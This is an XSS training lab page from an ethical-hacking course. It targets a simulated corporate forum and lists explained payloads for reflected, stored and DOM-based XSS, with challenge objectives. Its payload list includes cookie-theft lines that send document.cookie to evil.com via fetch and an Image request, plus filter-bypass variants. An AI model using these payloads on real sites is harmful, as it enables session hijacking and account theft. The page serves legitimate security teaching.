XSS Attack Lab

← EHE
EHE Lab 15 // Web Application Attacks
XSS Payload Crafting & Exploitation
Objectives 0 / 8
Score 100
AUTHORIZED EDUCATIONAL USE ONLY. This lab simulates XSS vulnerabilities in a controlled environment. All payloads are pattern-matched and their effects are simulated — no real JavaScript is executed from user input. Apply these techniques exclusively on systems you own or have written permission to test. Unauthorized use is illegal and unethical.
http://novacorp-forum.local/search?q=
Search Forum Profile
Enter a search term above.
JT
j.torres 2h ago
NovaCorp Q3 security digest — internal circulation
Reminder that all employees must complete the mandatory phishing awareness training by end of month. Session IDs: PHPSESSID=d41f8a; user=admin.
RK
r.khan 5h ago
Upcoming server maintenance — 2026-03-01 02:00 UTC
The forum and intranet will be offline for approximately 4 hours. Plan accordingly. Auth tokens will be invalidated post-maintenance.
Browser Console
Basic Script Tags
<script>alert('XSS')</script>
Classic payload. Script tags execute immediately when parsed by the browser. Most modern filters block this.
<script>document.cookie</script>
Attempts to read session cookies. Shows what data an attacker could steal.
Event Handler Payloads
<img src=x onerror=alert('XSS')>
Bypasses script-tag filters. The broken image triggers onerror immediately — no user interaction needed.
<svg onload=alert('XSS')>
SVG elements support JS event handlers. onload fires when the SVG renders — no src attribute required.
<body onload=alert('XSS')>
Works when injected early in a page. Fires on document load.
Cookie Theft
<img src=x onerror="fetch('http://evil.com/steal?c='+document.cookie)">
Exfiltrates cookies to an attacker-controlled server via a GET request. The Fetch API makes it silent.
<script>new Image().src='//evil.com/?c='+document.cookie</script>
Older cookie-theft technique using a hidden image request. Bypasses same-origin policy for GET requests.
Encoded / Filter Bypass
<ScRiPt>alert('XSS')</ScRiPt>
Case variation bypasses case-sensitive keyword filters that only block lowercase 'script'.
<img src=x onerror=alert(1)>
HTML entity encoding. Browsers decode entities before parsing, so filters that check raw strings fail.
<details open ontoggle=alert('XSS')>
HTML5 element with event handler. Fires when the details element auto-opens. Often overlooked by filters.
Challenge 1: Reflected XSS
✓
Find the reflected XSS injection point in the search page
✓
Trigger a reflected XSS alert using a <script> tag payload
✓
Craft and trigger an event-handler-based payload (onerror / onload)
Challenge 2: Stored XSS
✓
Submit a stored XSS payload in the comment field
✓
Demonstrate cookie theft via a stored XSS payload
Challenge 3: DOM-Based XSS
✓
Identify the DOM-based XSS vulnerability in the profile page
✓
Trigger DOM-based XSS by manipulating the URL fragment
✓
Use an encoded or obfuscated payload successfully
Complete 6 of 8 objectives to unlock
novacorp-forum.local says
Objective Complete